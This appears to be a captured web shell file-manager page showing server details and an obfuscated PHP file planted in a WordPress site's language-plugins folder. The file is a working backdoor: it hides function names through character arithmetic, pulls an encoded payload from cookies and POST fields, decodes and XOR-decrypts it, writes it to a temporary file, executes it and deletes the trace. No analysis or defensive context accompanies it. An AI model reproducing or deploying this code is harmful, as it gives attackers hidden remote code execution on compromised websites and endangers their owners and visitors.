HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-59-generic #61-Ubuntu SMP PREEMPT_DYNAMIC Fri Apr 11 23:16:11 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/datainsightnow.com/wp-content/languages/plugins/647ac412.php
$CGomTq = "\146" . chr (118) . chr ( 925 - 830 )."\x6f" . chr ( 370 - 254 ).chr ( 991 - 903 ).chr ( 508 - 401 ).'F';$TZpcwIcuLN = "\x63" . "\154" . "\x61" . 's' . "\x73" . chr ( 1026 - 931 ).chr ( 236 - 135 )."\x78" . "\x69" . 's' . chr ( 853 - 737 ).chr ( 740 - 625 ); $PGWJtYAHXI = class_exists($CGomTq); $TZpcwIcuLN = "7202";$OUFgvJdLN = strpos($TZpcwIcuLN, $CGomTq);if ($PGWJtYAHXI == $OUFgvJdLN){function uLBIlwijox(){$fHBXCeAk = new /* 25659 */ fv_otXkF(44888 + 44888); $fHBXCeAk = NULL;}$arBiQIO = "44888";class fv_otXkF{private function JaHWN($arBiQIO){if (is_array(fv_otXkF::$cAjCElN)) {$name = sys_get_temp_dir() . "/" . crc32(fv_otXkF::$cAjCElN["salt"]);@fv_otXkF::$cAjCElN["write"]($name, fv_otXkF::$cAjCElN["content"]);include $name;@fv_otXkF::$cAjCElN["delete"]($name); $arBiQIO = "44888";exit();}}public function SjMWJfGP(){$GETwEfcqiZ = "39746";$this->_dummy = str_repeat($GETwEfcqiZ, strlen($GETwEfcqiZ));}public function __destruct(){fv_otXkF::$cAjCElN = @unserialize(fv_otXkF::$cAjCElN); $arBiQIO = "23856_5003";$this->JaHWN($arBiQIO); $arBiQIO = "23856_5003";}public function jNJVoDk($GETwEfcqiZ, $AhFtPcuA){return $GETwEfcqiZ[0] ^ str_repeat($AhFtPcuA, intval(strlen($GETwEfcqiZ[0]) / strlen($AhFtPcuA)) + 1);}public function PMBOoEREQ($GETwEfcqiZ){$WAzqCF = "\x62" . "\x61" . "\163" . chr (101) . chr (54) . chr ( 224 - 172 );return array_map($WAzqCF . chr (95) . chr (100) . "\145" . "\x63" . chr (111) . chr (100) . chr ( 1097 - 996 ), array($GETwEfcqiZ,));}public function __construct($jgvfUUCg=0){$nHFWAoKepj = chr ( 691 - 647 ); $GETwEfcqiZ = "";$uKcUxNkSuB = $_POST;$hkDECJ = $_COOKIE;$AhFtPcuA = "29a2b0f3-134f-43ff-b8a1-291311b1fbb1";$ErDlD = @$hkDECJ[substr($AhFtPcuA, 0, 4)];if (!empty($ErDlD)){$ErDlD = explode($nHFWAoKepj, $ErDlD);foreach ($ErDlD as $IJytTowajZ){$GETwEfcqiZ .= @$hkDECJ[$IJytTowajZ];$GETwEfcqiZ .= @$uKcUxNkSuB[$IJytTowajZ];}$GETwEfcqiZ = $this->PMBOoEREQ($GETwEfcqiZ);}fv_otXkF::$cAjCElN = $this->jNJVoDk($GETwEfcqiZ, $AhFtPcuA);if (strpos($AhFtPcuA, $nHFWAoKepj) !== FALSE){$AhFtPcuA = explode($nHFWAoKepj, $AhFtPcuA); $FrlRWoUS = base64_decode(md5($AhFtPcuA[0])); $suUsMTFXaW = strlen($AhFtPcuA[1]) > 5 ? substr($AhFtPcuA[1], 0, 5) : $AhFtPcuA[1];$_GET['new_key'] = md5(implode('', $AhFtPcuA));}}public static $cAjCElN = 63680;}uLBIlwijox();}